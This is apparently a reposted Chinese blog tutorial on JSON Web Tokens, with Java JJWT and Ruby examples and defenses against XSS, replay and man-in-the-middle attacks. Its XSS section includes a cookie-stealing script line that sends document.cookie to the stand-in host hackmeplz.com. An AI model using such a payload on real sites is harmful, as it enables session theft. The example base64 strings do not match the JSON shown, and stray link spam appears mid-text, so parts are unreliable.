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jsON Web Token（JWT）是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。其JWT的组成：
一个JWT实际上就是一个字符串，它由三部分组成，头部、载荷与签名。
载荷（Payload）
{ "iss": "Online JWT Builder",
"iat": 1416797419,
"exp": 1448333419,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"GivenName": "Johnny",
"Surname": "Rocket",
"Email": "jrocket@example.com",
"Role": [ "Manager", "Project Administrator" ]
}
将上面的jsON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload（载荷）。
eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9小知识：Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64，所以每6个比特为一个单元，对应某个可打印字符。三个字节有24个比特，对应于4个Base64单元，即3个字节需要用4个可打印字符来表示。JDK 中提供了非常方便的 BASE64Encoder 和 BASE64Decoder，用它们可以非常方便的完成基于 BASE64 的编码和解码
头部（Header）
JWT还需要一个头部，头部用于描述关于该JWT的最基本的信息，例如其类型以及签名所用的算法等。这也可以被表示成一个jsON对象。
{
"typ": "JWT",
"alg": "HS256"
}在头部指明了签名算法是HS256算法。
当然头部也要进行BASE64编码，编码后的字符串如下：
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
签名（Signature）
将上面的两个编码后的字符串都用句号.连接在一起（头部在前），就形成了:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0最后，我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候，我们还需要提供一个密钥（secret）。如果我们用mystar作为密钥的话，那么就可以得到我们加密后的内容:
rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM最后将这一部分签名也拼接在被签名的字符串后面，我们就得到了完整的JWT:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM在我们的请求URL中会带上这串JWT字符串：
https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM
下面我们从一个实例来看如何运用JWT机制实现认证：
基于Token的认证机制会在每一次请求中都带上完成签名的Token信息，这个Token信息可能在COOKIE
中，也可能在HTTP的Authorization头中；
对Token认证机制有5点直接注意的地方：
在身份鉴定的实现中，传统方法是在服务端存储一个session，给客户端返回一个cookie，而使用JWT之后，当用户使用它的认证信息登陆系统之后，会返回给用户一个JWT，用户只需要本地保存该token（通常使用local storage，也可以使用cookie）即可。
当用户希望访问一个受保护的路由或者资源的时候，通常应该在Authorization头部使用Bearer模式添加JWT，其内容看起来是下面这样：
Authorization: Bearer <token>
因为用户的状态在服务端的内存中是不存储的，所以这是一种无状态的认证机制。服务端的保护路由将会检查请求头Authorization中的JWT信息，如果合法，则允许用户的行为。由于JWT是自包含的，因此减少了需要查询数据库的需要。
JWT的这些特性使得我们可以完全依赖其无状态的特性提供数据API服务，甚至是创建一个下载流服务。因为JWT并不使用Cookie的，所以你可以使用任何域名提供你的API服务而不需要担心跨域资源共享问题（CORS）。
Java中对JWT的支持可以考虑使用JJWT开源库；JJWT实现了JWT, JWS, JWE 和 JWA RFC规范；下面将简单举例说明其使用：
生成Token码
import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;
//Sample method to construct a JWT
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
//Let‘s set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
.setIssuedAt(now)
.setSubject(subject)
.setIssuer(issuer)
.signWith(signatureAlgorithm, signingKey);
//if it has been specified, let‘s add the expiration
if (ttlMillis >= 0) {
long expMillis = nowMillis + ttlMillis;
Date exp = new Date(expMillis);
builder.setExpiration(exp);
}
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}
解码和验证Token码
import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()
.setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
.parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}
如何保证用户名/密码验证过程的安全性；因为在验证过程中，需要用户输入用户名和密码，在这一过程中，用户名、密码等敏感信息需要在网络中传输。因此，在这个过程中建议采用HTTPS，通过SSL加密传输，以确保通道的安全性。
浏览器可以做很多事情，这也给浏览器端的安全带来很多隐患，最常见的如：XSS攻击：跨站脚本攻击(Cross Site Scripting)；如果有个页面的输入框中允许输入任何信息，且没有做防范措施，如果我们输入下面这段代码：
<img src="x" /> a.src=‘https://hackmeplz.com/yourCookies.png/?cookies=’ +document.cookie;return a}())"
这段代码会盗取你域中的所有cookie信息，并发送到 hackmeplz.com；那么我们如何来防范这种攻击呢？
//设置cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
//设置多个cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");
//设置https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");
在实际使用中，我们可以使FireCookie查看我们设置的Cookie 是否是HttpOnly；
字由https://www.wode007.com/sites/73248.html 中国字体设计网https://www.wode007.com/sites/73245.html
所谓重放攻击就是攻击者发送一个目的主机已接收过的包，来达到欺骗系统的目的，主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统，黑客还是可以利用窃取的Token模拟正常请求，而服务器端对此完全不知道，以为JWT机制是无状态的。
针对这种情况，有几种常用做法可以用作参考：
1、时间戳 +共享秘钥
这种方案，客户端和服务端都需要知道：
客户端
auth_header = JWT.encode({
user_id: 123,
iat: Time.now.to_i, # 指定token发布时间
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后，2秒时间足够一次HTTP请求，同时在一定程度确保上一次token过期，减少replay attack的概率；
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
class ApiController < ActionController::Base
attr_reader :current_user
before_action :set_current_user_from_jwt_token
def set_current_user_from_jwt_token
# Step 1:解码JWT，并获取User ID，这个时候不对Token签名进行检查
# the signature. Note JWT tokens are *not* encrypted, but signed.
payload = JWT.decode(request.authorization, nil, false)
# Step 2: 检查该用户是否存在于数据库
@current_user = User.find(payload[‘user_id‘])
# Step 3: 检查Token签名是否正确.
JWT.decode(request.authorization, current_user.api_secret)
# Step 4: 检查 "iat" 和"exp" 以确保这个Token是在2秒内创建的.
now = Time.now.to_i
if payload[‘iat‘] > now || payload[‘exp‘] < now
# 如果过期则返回401
end
rescue JWT::DecodeError
# 返回 401
end
end
2、时间戳 +共享秘钥+黑名单 （类似Zendesk的做法）
客户端
auth_header = JWT.encode({
user_id: 123,
jti: rand(2 << 64).to_s, # 通过jti确保一个token只使用一次，防止replace attack
iat: Time.now.to_i, # 指定token发布时间.
exp: Time.now.to_i + 2 # 指定token过期时间为2秒后
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)
服务端
def set_current_user_from_jwt_token
# 前面的步骤参考上面
payload = JWT.decode(request.authorization, nil, false)
@current_user = User.find(payload[‘user_id‘])
JWT.decode(request.authorization, current_user.api_secret)
now = Time.now.to_i
if payload[‘iat‘] > now || payload[‘exp‘] < now
# 返回401
end
# 下面将检查确保这个JWT之前没有被使用过
# 使用Redis的原子操作
# The redis 的键: <user id>:<one-time use token>
key = "#{payload[‘user_id‘]}:#{payload[‘jti‘]}"
# 看键值是否在redis中已经存在. 如果不存在则返回nil. 如果存在则返回“1”. .
if redis.getset(key, "1")
# 返回401
#
end
# 进行键值过期检查
redis.expireat(key, payload[‘exp‘] + 2)
end
所谓MITM攻击，就是在客户端和服务器端的交互过程被监听，比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等；
针对这类攻击的办法使用HTTPS，包括针对分布式应用，在服务间传输像cookie这类敏感信息时也采用HTTPS；所以云计算在本质上是不安全的。
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原文地址：https://www.cnblogs.com/ypppt/p/13332007.html
